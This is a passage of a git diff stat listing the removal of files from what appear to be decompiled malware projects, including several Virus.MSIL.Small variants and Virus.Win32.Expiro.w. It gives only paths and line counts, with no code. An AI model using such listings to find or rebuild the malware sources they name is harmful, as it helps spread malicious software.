| 45 - .../Virus.MSIL.Small.d.sln | 20 - .../AssemblyInfo.cs | 14 - .../Program.cs | 101 - .../Virus.MSIL.Small.e.csproj | 37 - .../Virus.MSIL.Small.e.sln | 20 - .../AssemblyInfo.cs | 13 - .../Damnei.cs | 50 - .../Damnei.resx | 150 - .../DamneiVirus.cs | 118 - .../Virus.MSIL.Small.f.csproj | 46 - .../Virus.MSIL.Small.f.sln | 20 - .../AssemblyInfo.cs | 13 - .../Module1.cs | 108 - .../My/MyApplication.cs | 23 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 194 - .../My/MySettings.cs | 36 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Virus.MSIL.Small.g.csproj | 51 - .../Virus.MSIL.Small.g.sln | 20 - .../AssemblyInfo.cs | 6 - .../Program.cs | 32 - .../Snoopy.cs | 248 - .../Virus.MSIL.Small.h.csproj | 42 - .../Virus.MSIL.Small.h.sln | 20 - .../AssemblyInfo.cs | 8 - .../Form1.cs | 32 - .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 21 - .../Virus.MSIL.Small.i.csproj | 48 - .../Virus.MSIL.Small.i.sln | 20 - .../sex/program.cs | 34 - .../sex/sex.cs | 164 - .../AssemblyInfo.cs | 22 - .../BrowserNavConstants.cs | 15 - .../CallMode.cs | 15 - .../CommandStateChangeConstants.cs | 15 - .../HDC__.cs | 17 - .../HINSTANCE__.cs | 17 - .../HWND__.cs | 17 - .../IGNOREMIME.cs | 15 - .../IMAGE_AUX_SYMBOL_TYPE.cs | 15 - .../IMPORT_OBJECT_NAME_TYPE.cs | 15 - .../IMPORT_OBJECT_TYPE.cs | 15 - .../AccessibilityApplicationManager.cs | 48 - .../InfoCards/AccessibilityHelperForVista.cs | 124 - .../AccessibilityHelperForXpWin2k3.cs | 169 - .../InfoCards/AppliesToBehaviorDecision.cs | 16 - .../AppliesToBehaviorDecisionTable.cs | 50 - .../Microsoft/InfoCards/Asn1Utilities.cs | 17 - .../InfoCards/AsymmetricCryptoSession.cs | 67 - .../Microsoft/InfoCards/AsyncParams.cs | 19 - .../Microsoft/InfoCards/AuditLog.cs | 25 - .../BeginCreateSecurityTokenRequest.cs | 36 - .../BeginGetFileNameFromUserRequest.cs | 72 - .../InfoCards/BeginSelectCardRequest.cs | 49 - .../Microsoft/InfoCards/BigInt.cs | 400 - .../InfoCards/BrowserPolicyValidator.cs | 26 - .../InfoCards/CancelAsyncOperationRequest.cs | 39 - .../Microsoft/InfoCards/Canonicalizers.cs | 248 - .../CheckStoreFileValidityRequest.cs | 77 - .../Microsoft/InfoCards/ClientRequest.cs | 405 - .../Microsoft/InfoCards/ClientUIRequest.cs | 305 - .../InfoCards/CloseCryptoHandleRequest.cs | 41 - .../InfoCards/CommunicationException.cs | 36 - .../Microsoft/InfoCards/Constants.cs | 23 - .../InfoCards/CorruptStoreException.cs | 30 - .../Microsoft/InfoCards/CreateCardRequest.cs | 52 - .../Microsoft/InfoCards/CredentialSelector.cs | 252 - .../InfoCards/CredentialSelectorType.cs | 22 - .../Microsoft/InfoCards/CryptoSession.cs | 232 - .../InfoCards/CustomTokenProvider.cs | 94 - .../InfoCards/DataAccessException.cs | 36 - .../Microsoft/InfoCards/DataBlob.cs | 16 - .../Microsoft/InfoCards/DataRow.cs | 116 - .../Microsoft/InfoCards/DataRowIndexBuffer.cs | 45 - .../Microsoft/InfoCards/DataSource.cs | 328 - .../Microsoft/InfoCards/DecryptRequest.cs | 61 - .../Microsoft/InfoCards/DeleteCardRequest.cs | 91 - .../Microsoft/InfoCards/DeleteStoreRequest.cs | 62 - .../Microsoft/InfoCards/DisplayClaim.cs | 57 - .../Microsoft/InfoCards/DisplayClaimType.cs | 15 - .../Microsoft/InfoCards/DisplayToken.cs | 85 - .../Microsoft/InfoCards/EncryptRequest.cs | 61 - .../Microsoft/InfoCards/EncryptedData.cs | 130 - .../InfoCards/EncryptedFileStoreHeader.cs | 39 - .../InfoCards/EncryptedObjectHeader.cs | 45 - .../Microsoft/InfoCards/EncryptionUtility.cs | 116 - .../EndCreateSecurityTokenRequest.cs | 25 - .../EndGetFileNameFromUserRequest.cs | 33 - .../InfoCards/EndSelectCardRequest.cs | 29 - .../Microsoft/InfoCards/ExceptionList.cs | 22 - .../InfoCards/ExceptionTranslationTable.cs | 41 - .../Microsoft/InfoCards/ExportException.cs | 36 - .../Microsoft/InfoCards/ExportFileRequest.cs | 114 - .../InfoCards/FailedToStartupUIException.cs | 31 - .../InfoCards/FileAccessException.cs | 36 - .../Microsoft/InfoCards/FileDataSource.cs | 1083 -- .../Microsoft/InfoCards/FreeIndexList.cs | 43 - .../InfoCards/GenerateDerivedKeyRequest.cs | 58 - .../InfoCards/GetBrowserTokenEndpoint.cs | 90 - .../InfoCards/GetBrowserTokenParameters.cs | 110 - .../InfoCards/GetBrowserTokenRequest.cs | 609 -- .../InfoCards/GetCardDetailsRequest.cs | 42 - .../InfoCards/GetCertificateRequest.cs | 40 - .../InfoCards/GetCryptoTransformRequest.cs | 58 - .../Microsoft/InfoCards/GetFileNameResult.cs | 26 - .../InfoCards/GetImportFileNameRequest.cs | 44 - .../InfoCards/GetImportedCardRequest.cs | 120 - .../InfoCards/GetIsBrowserClientRequest.cs | 34 - .../InfoCards/GetKeyedHashRequest.cs | 46 - .../InfoCards/GetLastErrorDetailsRequest.cs | 53 - .../GetLedgerEntryForRecipientRequest.cs | 76 - .../Microsoft/InfoCards/GetLedgerRequest.cs | 60 - .../InfoCards/GetPolicyDetailsRequest.cs | 106 - .../InfoCards/GetRecipientListRequest.cs | 68 - .../InfoCards/GetRecipientRequest.cs | 65 - .../Microsoft/InfoCards/GetTokenRequest.cs | 258 - .../InfoCards/GetUserPreferenceRequest.cs | 50 - .../Microsoft/InfoCards/GlobalId.cs | 120 - .../Microsoft/InfoCards/HandleDictionary`1.cs | 53 - .../Microsoft/InfoCards/HashCoreRequest.cs | 55 - .../Microsoft/InfoCards/HashCryptoSession.cs | 60 - .../Microsoft/InfoCards/HashFinalRequest.cs | 54 - .../Microsoft/InfoCards/HashUtility.cs | 54 - .../HttpProxyTransportBindingElement.cs | 93 - .../InfoCards/IAccessibilityHelper.cs | 29 - .../Microsoft/InfoCards/ICanonicalizer.cs | 15 - .../Microsoft/InfoCards/ITokenFactory.cs | 19 - .../InfoCards/IdentityValidationException.cs | 36 - .../Microsoft/InfoCards/ImportException.cs | 36 - .../Microsoft/InfoCards/ImportFileRequest.cs | 102 - .../Microsoft/InfoCards/ImportRequest.cs | 91 - .../InfoCards/ImportStoreException.cs | 36 - .../Microsoft/InfoCards/IndexObject.cs | 48 - .../Microsoft/InfoCards/IndexedDataBuffer.cs | 336 - .../Microsoft/InfoCards/InfoCard.cs | 1387 --- .../InfoCards/InfoCardBinaryReader.cs | 146 - .../Microsoft/InfoCards/InfoCardClaim.cs | 92 - .../InfoCards/InfoCardClaimCollection.cs | 158 - .../Microsoft/InfoCards/InfoCardConstants.cs | 189 - .../InfoCards/InfoCardListRequest.cs | 107 - .../Microsoft/InfoCards/InfoCardMasterKey.cs | 124 - .../InfoCardMetadataExchangeClient.cs | 94 - .../InfoCardOfflineChainTrustValidator.cs | 93 - .../Microsoft/InfoCards/InfoCardPolicy.cs | 237 - .../InfoCards/InfoCardRequestException.cs | 36 - .../Microsoft/InfoCards/InfoCardSchemas.cs | 156 - .../Microsoft/InfoCards/InfoCardService.cs | 111 - .../InfoCardServiceClientCredentials.cs | 143 - .../Microsoft/InfoCards/InfoCardUIAgent.cs | 530 - .../InfoCards/InfoCardX509Validator.cs | 131 - .../InfoCards/InfoCardXmlSerializer.cs | 172 - .../InfocardExtendedInformationCollection.cs | 98 - .../InfocardExtendedInformationEntry.cs | 43 - .../InfoCards/IntermediatePolicyValidator.cs | 18 - .../InfoCards/InvalidCardException.cs | 36 - .../InvalidStoreProtectionKeyException.cs | 36 - .../Microsoft/InfoCards/IssuerInformation.cs | 72 - .../InfoCards/IssuerInformationEntry.cs | 24 - .../KerberosTokenFactoryCredential.cs | 22 - .../Microsoft/InfoCards/KeyBlock.cs | 47 - .../Microsoft/InfoCards/KeyBlockV2.cs | 24 - .../Microsoft/InfoCards/KeyGenRestartCodes.cs | 18 - .../Microsoft/InfoCards/LedgerEntry.cs | 211 - .../InfoCards/LedgerEntryCollection.cs | 65 - .../Microsoft/InfoCards/LifeTimeMonitor.cs | 95 - .../InfoCards/ListCardsInFileRequest.cs | 154 - .../InfoCards/ListDependantCardsRequest.cs | 81 - .../Microsoft/InfoCards/LocalIdCollection.cs | 39 - .../InfoCards/LogoValidationException.cs | 36 - .../Microsoft/InfoCards/ManageRequest.cs | 49 - .../MaxSessionCountExceededException.cs | 36 - .../InfoCards/MergeConflictCallback.cs | 10 - .../Microsoft/InfoCards/NativeMcppMethods.cs | 1186 --- .../Microsoft/InfoCards/NativeMethods.cs | 169 - .../InfoCards/OptionalRstParameters.cs | 102 - .../Microsoft/InfoCards/ParsedPolicy.cs | 45 - .../InfoCards/PasswordValidationException.cs | 36 - .../InfoCards/PinProtectionHelper.cs | 133 - .../Microsoft/InfoCards/Policy.cs | 419 - .../Microsoft/InfoCards/PolicyFactory.cs | 141 - .../Microsoft/InfoCards/PolicyType.cs | 15 - .../Microsoft/InfoCards/PolicyUsageContext.cs | 15 - .../Microsoft/InfoCards/PolicyUtility.cs | 23 - .../InfoCards/PolicyValidationException.cs | 36 - .../Microsoft/InfoCards/PolicyValidator.cs | 139 - .../InfoCards/ProcessExitedException.cs | 36 - .../Microsoft/InfoCards/ProcessManager.cs | 158 - .../Microsoft/InfoCards/ProcessMonitor.cs | 59 - .../Microsoft/InfoCards/ProtocolProfile.cs | 64 - .../InfoCards/Psha1DerivedKeyGenerator.cs | 87 - .../Microsoft/InfoCards/QueryDetails.cs | 23 - .../Microsoft/InfoCards/QueryParameter.cs | 51 - .../InfoCards/QueryStoreStatusRequest.cs | 48 - .../InfoCards/RPIdentityRequirement.cs | 80 - .../Microsoft/InfoCards/RSATokenProvider.cs | 43 - .../Microsoft/InfoCards/Recipient.cs | 446 - .../Microsoft/InfoCards/RecipientIdentity.cs | 100 - .../RemoteAsymmetricSignatureFormatter.cs | 43 - .../InfoCards/RemoteCryptoDecryptRequest.cs | 67 - .../RemoteCryptoRsaServiceProvider.cs | 131 - .../InfoCards/RemoteCryptoSignHashRequest.cs | 49 - .../InfoCards/RemoteCryptoTokenProvider.cs | 50 - .../Microsoft/InfoCards/RemoteTokenFactory.cs | 546 - .../RemoteX509AsymmetricSecurityKey.cs | 80 - .../Microsoft/InfoCards/RemoteX509Token.cs | 55 - .../Microsoft/InfoCards/Request.cs | 292 - .../Microsoft/InfoCards/RequestFactory.cs | 483 - .../InfoCards/RequestSecurityToken.cs | 154 - .../RequestSecurityTokenForGetBrowserToken.cs | 57 - ...questSecurityTokenForRemoteTokenFactory.cs | 88 - .../RequestSecurityTokenParameters.cs | 91 - .../RequestSecurityTokenResponseHelper.cs | 463 - .../RequestSecurityTokenSerializer.cs | 212 - .../Microsoft/InfoCards/ResolvePPIDRequest.cs | 52 - .../Microsoft/InfoCards/RoamingStoreFile.cs | 129 - .../InfoCards/RoamingStoreFileUtility.cs | 289 - .../InfoCards/RpcAllocMemCallback.cs | 13 - .../Microsoft/InfoCards/RpcAsyncResult.cs | 167 - .../InfoCards/RpcAuthorizeCallback.cs | 13 - .../Microsoft/InfoCards/RpcCallbacks.cs | 30 - .../RpcClientBindToServiceCallback.cs | 13 - .../Microsoft/InfoCards/RpcCryptoContext.cs | 105 - .../Microsoft/InfoCards/RpcCryptoRequest.cs | 45 - .../Microsoft/InfoCards/RpcFreeMemCallback.cs | 13 - .../InfoCards/RpcProcessNewRequestCallback.cs | 17 - .../Microsoft/InfoCards/RpcRequest.cs | 19 - .../Microsoft/InfoCards/RpcResponse.cs | 36 - .../RpcRundownClientContextHandle.cs | 13 - .../RpcUIAgentBindToServiceCallback.cs | 22 - .../InfoCards/RpcUIAgentGetWorkCallback.cs | 12 - .../Microsoft/InfoCards/RsaKeyGen.cs | 218 - .../Microsoft/InfoCards/SafeCryptoKey.cs | 108 - .../InfoCards/SafeCryptoKeyHandle.cs | 30 - .../Microsoft/InfoCards/SafeJobHandle.cs | 37 - .../Microsoft/InfoCards/SafeNativeHandle.cs | 27 - .../InfoCards/SafeRsaProviderHandle.cs | 54 - .../Microsoft/InfoCards/SaveCardRequest.cs | 81 - .../InfoCards/SaveLedgerEntryRequest.cs | 33 - .../InfoCards/SaveRecipientRequest.cs | 65 - .../Microsoft/InfoCards/SecondaryIndex.cs | 334 - .../InfoCards/SecondaryIndexDefinition.cs | 84 - .../Microsoft/InfoCards/SecondaryIndexItem.cs | 26 - .../Microsoft/InfoCards/SecondaryIndexList.cs | 203 - .../InfoCards/SecondaryIndexSettings.cs | 18 - .../InfoCards/SecurityKeyTypeInternal.cs | 15 - .../InfoCards/SelfIssuedAuthAsymmetricKey.cs | 107 - .../InfoCards/SelfIssuedAuthProofToken.cs | 82 - .../SelfIssuedAuthRSACryptoProvider.cs | 63 - ...fIssuedAuthRSAPKCS1SignatureDeformatter.cs | 40 - ...elfIssuedAuthRSAPKCS1SignatureFormatter.cs | 40 - .../InfoCards/SelfIssuedSamlTokenFactory.cs | 312 - .../SelfIssuedTokenFactoryCredential.cs | 24 - .../InfoCards/SendAgentStatusRequest.cs | 63 - .../SerializationIncompleteException.cs | 19 - .../InfoCards/ServiceBusyException.cs | 36 - .../InfoCards/SetUserLanguageRequest.cs | 36 - .../InfoCards/SetUserPreferenceRequest.cs | 60 - .../Microsoft/InfoCards/SignHashRequest.cs | 51 - .../Microsoft/InfoCards/SignatureHeader.cs | 20 - .../Microsoft/InfoCards/StorableObjectType.cs | 21 - .../Microsoft/InfoCards/StoreConnection.cs | 341 - .../InfoCards/SymmetricCryptoSession.cs | 83 - .../Microsoft/InfoCards/SystemIdentity.cs | 62 - .../InfoCards/SystemShuttingDownException.cs | 36 - .../InfoCards/TokenCreationException.cs | 36 - .../InfoCards/TokenCreationParameter.cs | 349 - .../Microsoft/InfoCards/TokenDescriptor.cs | 105 - .../Microsoft/InfoCards/TokenFactoryBase.cs | 44 - .../InfoCards/TokenFactoryCredential.cs | 87 - .../InfoCards/TokenFactoryCredentialType.cs | 18 - .../InfoCards/TokenFactoryFactory.cs | 27 - .../InfoCards/TransformBlockRequest.cs | 61 - .../InfoCards/TransformCryptoSession.cs | 47 - .../InfoCards/TransformFinalBlockRequest.cs | 55 - .../InfoCards/TrustExchangeException.cs | 36 - .../InfoCards/UIAgentAsyncBeginRequest.cs | 108 - .../InfoCards/UIAgentAsyncEndRequest.cs | 78 - .../Microsoft/InfoCards/UIAgentAsyncParams.cs | 27 - .../InfoCards/UIAgentCrashedException.cs | 14 - .../UIAgentInitializationException.cs | 25 - .../Microsoft/InfoCards/UIAgentMonitor.cs | 76 - .../InfoCards/UIAgentMonitorHandle.cs | 36 - .../Microsoft/InfoCards/UIAgentRequest.cs | 138 - .../Microsoft/InfoCards/UIEndRequest.cs | 30 - .../Microsoft/InfoCards/UnlockCardRequest.cs | 58 - .../UnsupportedPolicyOptionsException.cs | 36 - .../InfoCards/UntrustedRecipientException.cs | 36 - .../UserNameTokenFactoryCredential.cs | 31 - .../Microsoft/InfoCards/UserPreference.cs | 93 - .../Microsoft/InfoCards/Utility.cs | 450 - .../Microsoft/InfoCards/VerifyHashRequest.cs | 63 - .../InfoCards/WSIdentityFaultException.cs | 98 - .../Microsoft/InfoCards/X509AudioLogo.cs | 23 - .../X509CertificateTokenFactoryCredential.cs | 68 - .../Microsoft/InfoCards/X509ImageLogo.cs | 23 - .../Microsoft/InfoCards/X509Logo.cs | 62 - .../Microsoft/InfoCards/X509LogoDataType.cs | 14 - .../Microsoft/InfoCards/X509LogoType.cs | 16 - .../InfoCards/X509LogoTypeExtension.cs | 201 - .../InfoCards/X509RecipientIdentity.cs | 64 - .../Microsoft/InfoCards/XmlNames.cs | 863 -- .../NEGOTIATE_MESSAGES.cs | 15 - .../OLECMDEXECOPT.cs | 15 - .../OLECMDF.cs | 15 - .../OLECMDID.cs | 15 - .../OLECMDTEXTF.cs | 15 - .../OfflineFolderStatus.cs | 15 - .../PIDMSI_STATUS_VALUE.cs | 15 - .../RESTRICTIONS.cs | 15 - .../RPC_ADDRESS_CHANGE_TYPE.cs | 15 - .../RefreshConstants.cs | 15 - .../ReplacesCorHdrNumericDefines.cs | 15 - .../RequireAppliesToStatus.cs | 12 - .../SYSGEOCLASS.cs | 15 - .../SYSGEOTYPE.cs | 15 - .../SYSNLS_FUNCTION.cs | 15 - .../SecureLockIconConstants.cs | 15 - .../ShellFolderViewOptions.cs | 15 - .../ShellSpecialFolderConstants.cs | 15 - .../ShellWindowFindWindowOptions.cs | 15 - .../ShellWindowTypeConstants.cs | 15 - .../TrustDecision.cs | 15 - .../VARENUM.cs | 15 - .../Virus.Win32.Expiro.w.csproj | 733 -- .../Virus.Win32.Expiro.w.sln | 20 - .../WELL_KNOWN_SID_TYPE.cs | 15 - .../WPCSETTING.cs | 15 - .../X931_restart_t.cs | 15 - .../$ArrayType$$$BY00$$CBD.cs | 21 - .../$ArrayType$$$BY00$$CBG.cs | 21 - .../$ArrayType$$$BY00Q6MPBXXZ.cs | 20 - .../$ArrayType$$$BY07$$CBG.cs | 21 - .../$ArrayType$$$BY08$$CB_W.cs | 21 - .../$ArrayType$$$BY0A@P6AHXZ.cs | 20 - .../$ArrayType$$$BY0A@P6AXXZ.cs | 20 - .../$ArrayType$$$BY0BAE@G.cs | 21 - .../$ArrayType$$$BY0BAF@G.cs | 21 - .../$ArrayType$$$BY0BB@K.cs | 20 - .../$ArrayType$$$BY0BC@$$CBG.cs | 21 - .../$ArrayType$$$BY0CB@$$CBG.cs | 21 - .../$ArrayType$$$BY0CE@$$CBD.cs | 21 - .../$ArrayType$$$BY0CE@$$CBG.cs | 21 - .../$ArrayType$$$BY0EE@E.cs | 21 - .../$ArrayType$$$BY0O@$$CBD.cs | 21 - .../$ArrayType$$$BY0P@$$CBG.cs | 21 - .../ActivationContext.cs | 20 - .../AtExitLock.cs | 20 - .../DefaultDomain.cs | 20 - .../LanguageSupport.cs | 20 - .../NativeDll.cs | 20 - .../Progress.cs | 28 - .../ThisModule.cs | 20 - .../TriBool.cs | 28 - .../_003CModule_003E.cs | 1399 --- .../_ACCESS_MODE.cs | 15 - .../_ACL.cs | 17 - .../_ACL_INFORMATION_CLASS.cs | 15 - .../_ACTIVATION_CONTEXT_INFO_CLASS.cs | 15 - .../_APTTYPE.cs | 15 - .../_AUDIT_EVENT_TYPE.cs | 15 - .../_BIN_TYPES.cs | 15 - .../_CERT_CHAIN_CONTEXT.cs | 18 - .../_CHANGER_DEVICE_PROBLEM_TYPE.cs | 15 - .../_CM_ERROR_CONTROL_TYPE.cs | 15 - .../_CM_SERVICE_LOAD_TYPE.cs | 15 - .../_CM_SERVICE_NODE_TYPE.cs | 15 - .../_COMPUTER_NAME_FORMAT.cs | 15 - .../_CRYPT_OID_INFO.cs | 24 - .../_DETECTION_TYPE.cs | 15 - .../_DEVICE_POWER_STATE.cs | 15 - .../_DISK_WRITE_CACHE_STATE.cs | 15 - .../_DNS_CHARSET.cs | 15 - .../_DNS_NAME_FORMAT.cs | 15 - .../_Direction.cs | 15 - .../_DnsSection.cs | 15 - .../_ELEMENT_TYPE.cs | 15 - .../_ENLISTMENT_INFORMATION_CLASS.cs | 15 - .../_EXCEPTION_DISPOSITION.cs | 15 - .../_EXCEPTION_POINTERS.cs | 17 - .../_EXPLICIT_ACCESS_W.cs | 17 - .../_FINDEX_INFO_LEVELS.cs | 15 - .../_FINDEX_SEARCH_OPS.cs | 15 - .../_GET_FILEEX_INFO_LEVELS.cs | 15 - .../_GPO_LINK.cs | 15 - .../_GUID.cs | 18 - .../_HEAP_INFORMATION_CLASS.cs | 15 - .../_HandleType.cs | 15 - .../_IDL_CS_CONVERT.cs | 15 - .../_ITEMIDLIST.cs | 18 - .../_JOBOBJECTINFOCLASS.cs | 15 - .../_KERB_LOGON_SUBMIT_TYPE.cs | 15 - .../_KERB_PROFILE_BUFFER_TYPE.cs | 15 - .../_KERB_PROTOCOL_MESSAGE_TYPE.cs | 15 - .../_KTMOBJECT_TYPE.cs | 15 - .../_LOGICAL_PROCESSOR_RELATIONSHIP.cs | 15 - .../_LUID.cs | 17 - .../_MANDATORY_LEVEL.cs | 15 - .../_MEDIA_TYPE.cs | 15 - .../_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs | 15 - .../_MSV1_0_LOGON_SUBMIT_TYPE.cs | 15 - .../_MSV1_0_PROFILE_BUFFER_TYPE.cs | 15 - .../_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs | 15 - .../_MULTIPLE_TRUSTEE_OPERATION.cs | 15 - .../_OSVERSIONINFOW.cs | 18 - .../_PARTITION_STYLE.cs | 15 - .../_POLICY_AUDIT_EVENT_TYPE.cs | 15 - .../_POLICY_DOMAIN_INFORMATION_CLASS.cs | 15 - .../_POLICY_INFORMATION_CLASS.cs | 15 - .../_POLICY_LSA_SERVER_ROLE.cs | 15 - .../_POLICY_NOTIFICATION_INFORMATION_CLASS.cs | 15 - .../_PROCESSOR_CACHE_TYPE.cs | 15 - .../_PROC_THREAD_ATTRIBUTE_NUM.cs | 15 - .../_PROGRESS_INVOKE_SETTING.cs | 15 - .../_PSC_STATE.cs | 15 - .../_PS_RATE_PHASE.cs | 15 - .../_PaddingMode.cs | 15 - .../_RESOURCEMANAGER_INFORMATION_CLASS.cs | 15 - .../_RPCCALLBACKS.cs | 17 - .../_RPC_ASYNC_EVENT.cs | 15 - .../_RPC_HTTP_REDIRECTOR_STAGE.cs | 15 - .../_RPC_NOTIFICATION_TYPES.cs | 15 - .../_RPC_REQUEST.cs | 17 - .../_RPC_RESPONSE.cs | 17 - .../_SASL_AUTHZID_STATE.cs | 15 - .../_SC_ACTION_TYPE.cs | 15 - .../_SC_ENUM_TYPE.cs | 15 - .../_SC_STATUS_TYPE.cs | 15 - .../_SECURITY_ATTRIBUTES.cs | 17 - .../_SECURITY_IMPERSONATION_LEVEL.cs | 15 - .../_SECURITY_LOGON_SESSION_DATA.cs | 17 - .../_SECURITY_LOGON_TYPE.cs | 15 - .../_SETTINGSTATUS.cs | 15 - .../_SE_ADT_PARAMETER_TYPE.cs | 15 - .../_SE_OBJECT_TYPE.cs | 15 - .../_SID_NAME_USE.cs | 15 - .../_SPACTION.cs | 15 - .../_SPTEXT.cs | 15 - .../_STORAGE_ASSOCIATION_TYPE.cs | 15 - .../_STORAGE_BUS_TYPE.cs | 15 - .../_STORAGE_IDENTIFIER_CODE_SET.cs | 15 - .../_STORAGE_IDENTIFIER_TYPE.cs | 15 - .../_STORAGE_ID_NAA_FORMAT.cs | 15 - .../_STORAGE_MEDIA_TYPE.cs | 15 - .../_STORAGE_PORT_CODE_SET.cs | 15 - .../_STORAGE_PROPERTY_ID.cs | 15 - .../_STORAGE_QUERY_TYPE.cs | 15 - .../_STREAM_INFO_LEVELS.cs | 15 - .../_SYSTEM_POWER_STATE.cs | 15 - .../_SecDelegationType.cs | 15 - .../_TAPE_DRIVE_PROBLEM_TYPE.cs | 15 - .../_TASKDIALOG_COMMON_BUTTON_FLAGS.cs | 15 - .../_TASKDIALOG_ELEMENTS.cs | 15 - .../_TASKDIALOG_FLAGS.cs | 15 - .../_TASKDIALOG_ICON_ELEMENTS.cs | 15 - .../_TASKDIALOG_MESSAGES.cs | 15 - .../_TASKDIALOG_NOTIFICATIONS.cs | 15 - .../_THDTYPE.cs | 15 - .../_TOKEN_ELEVATION_TYPE.cs | 15 - .../_TOKEN_INFORMATION_CLASS.cs | 15 - .../_TOKEN_MANDATORY_LABEL.cs | 17 - .../_TOKEN_OWNER.cs | 17 - .../_TOKEN_STATISTICS.cs | 17 - .../_TOKEN_TYPE.cs | 15 - .../_TP_CALLBACK_ENVIRON.cs | 46 - .../_TRANSACTIONMANAGER_INFORMATION_CLASS.cs | 15 - .../_TRANSACTION_INFORMATION_CLASS.cs | 15 - .../_TRANSACTION_OUTCOME.cs | 15 - .../_TRANSACTION_STATE.cs | 15 - .../_TRUSTED_INFORMATION_CLASS.cs | 15 - .../_TRUSTEE_FORM.cs | 15 - .../_TRUSTEE_TYPE.cs | 15 - .../_URLZONEREG.cs | 15 - .../_USER_MARSHAL_CB_TYPE.cs | 15 - .../_WRITE_CACHE_CHANGE.cs | 15 - .../_WRITE_CACHE_ENABLE.cs | 15 - .../_WRITE_CACHE_TYPE.cs | 15 - .../_WRITE_THROUGH.cs | 15 - .../__MIDL_IBindStatusCallback_0001.cs | 15 - .../__MIDL_IBindStatusCallback_0002.cs | 15 - .../__MIDL_IBindStatusCallback_0003.cs | 15 - .../__MIDL_IBindStatusCallback_0004.cs | 15 - .../__MIDL_IBindStatusCallback_0005.cs | 15 - .../__MIDL_IBindStatusCallback_0006.cs | 15 - .../__MIDL_ICodeInstall_0001.cs | 15 - .../__MIDL_IInternetSecurityManager_0001.cs | 15 - .../__MIDL_IInternetSecurityManager_0002.cs | 15 - .../__MIDL_IInternetSecurityManager_0003.cs | 15 - .../__MIDL_IInternetZoneManager_0001.cs | 15 - .../__MIDL_IInternetZoneManager_0002.cs | 15 - .../__MIDL_IMonikerProp_0001.cs | 15 - .../__MIDL_IOleDocument_0001.cs | 15 - .../__MIDL_IPrint_0001.cs | 15 - ...__MIDL___MIDL_itf_objidl_0000_0046_0001.cs | 15 - ...__MIDL___MIDL_itf_objidl_0000_0046_0002.cs | 15 - ...MIDL_itf_structuredquery_0000_0013_0001.cs | 15 - .../__enative_startup_state.cs | 15 - .../_iobuf.cs | 17 - .../_ldiv_t.cs | 17 - .../_tagACENUMOPTION.cs | 15 - .../_tagAUTOCOMPLETELISTOPTIONS.cs | 15 - .../_tagAUTOCOMPLETEOPTIONS.cs | 15 - .../_tagINTERNETFEATURELIST.cs | 15 - .../_tagOIBDG_FLAGS.cs | 15 - .../_tagPARSEACTION.cs | 15 - .../_tagPI_FLAGS.cs | 15 - .../_tagPSUACTION.cs | 15 - .../_tagQUERYOPTION.cs | 15 - .../addressing.xsd | 144 - .../addressing04.xsd | 133 - ...croot_003CSystem_003A_003AString ^_003E.cs | 17 - .../identity.xsd | 434 - .../localeinfo_struct.cs | 17 - .../0.xsd | 195 - .../0.xsd | 108 - .../tagACTCTXW.cs | 17 - .../tagACTIVATEFLAGS.cs | 15 - .../tagADVF.cs | 15 - .../tagApplicationType.cs | 15 - .../tagAspectInfoFlag.cs | 15 - .../tagBANDSITECID.cs | 15 - .../tagBINDSPEED.cs | 15 - .../tagBINDSTATUS.cs | 15 - .../tagBINDSTRING.cs | 15 - .../tagBIND_FLAGS.cs | 15 - .../tagBROWSERFRAMEOPTIONS.cs | 15 - .../tagCALLCONV.cs | 15 - .../tagCALLTYPE.cs | 15 - .../tagCATEGORYINFO_FLAGS.cs | 15 - .../tagCATSORT_FLAGS.cs | 15 - .../tagCDBURNINGEXTENSIONACTION.cs | 15 - .../tagCDBURNINGEXTENSIONRET.cs | 15 - .../tagCHANGEKIND.cs | 15 - .../tagCLSCTX.cs | 15 - .../tagCOINIT.cs | 15 - .../tagCOMSD.cs | 15 - .../tagCONDITION_OPERATION.cs | 15 - .../tagCONDITION_TYPE.cs | 15 - .../tagCOWAIT_FLAGS.cs | 15 - .../tagCPVIEW.cs | 15 - .../tagCTRLINFO.cs | 15 - .../tagDATADIR.cs | 15 - .../tagDCOM_CALL_STATE.cs | 15 - .../tagDESCKIND.cs | 15 - .../tagDESKBANDCID.cs | 15 - .../tagDISCARDCACHE.cs | 15 - .../tagDOMNodeType.cs | 15 - .../tagDVASPECT.cs | 15 - .../tagDVASPECT2.cs | 15 - .../tagEOLE_AUTHENTICATION_CAPABILITIES.cs | 15 - .../tagEXPCMDFLAGS.cs | 15 - .../tagEXPCMDSTATE.cs | 15 - .../tagEXTCONN.cs | 15 - .../tagExtendedErrorParamTypes.cs | 15 - .../tagExtentMode.cs | 15 - .../tagFOLDERFLAGS.cs | 15 - .../tagFOLDERVIEWMODE.cs | 15 - .../tagFUNCFLAGS.cs | 15 - .../tagFUNCKIND.cs | 15 - .../tagGETPROPERTYSTOREFLAGS.cs | 15 - .../tagGPFIDL_FLAGS.cs | 15 - .../tagGUIDKIND.cs | 15 - .../tagHITRESULT.cs | 15 - .../tagINTERVAL_LIMIT_KIND.cs | 15 - .../tagINVOKEKIND.cs | 15 - .../tagLIBFLAGS.cs | 15 - .../tagLOCKTYPE.cs | 15 - .../tagMARKUPLINKTEXT.cs | 15 - .../tagMARKUPMESSAGE.cs | 15 - .../tagMARKUPSIZE.cs | 15 - .../tagMARKUPSTATE.cs | 15 - .../tagMEMCTX.cs | 15 - .../tagMENUBANDHANDLERCID.cs | 15 - .../tagMENUPOPUPPOPUPFLAGS.cs | 15 - .../tagMENUPOPUPSELECT.cs | 15 - .../tagMKREDUCE.cs | 15 - .../tagMKSYS.cs | 15 - .../tagMSG.cs | 17 - .../tagMSHCTX.cs | 15 - .../tagMSHLFLAGS.cs | 15 - .../tagNAMESPACEWALKFLAG.cs | 15 - .../tagNSTCECLICKTYPE.cs | 15 - .../tagNSTCEHITTEST.cs | 15 - .../tagNSTCGNI.cs | 15 - .../tagNSTCITEMSTATE.cs | 15 - .../tagNSTCROOTSTYLE.cs | 15 - .../tagNSTCSTYLE.cs | 15 - .../tagOLECLOSE.cs | 15 - .../tagOLECONTF.cs | 15 - .../tagOLEDCFLAGS.cs | 15 - .../tagOLEGETMONIKER.cs | 15 - .../tagOLELINKBIND.cs | 15 - 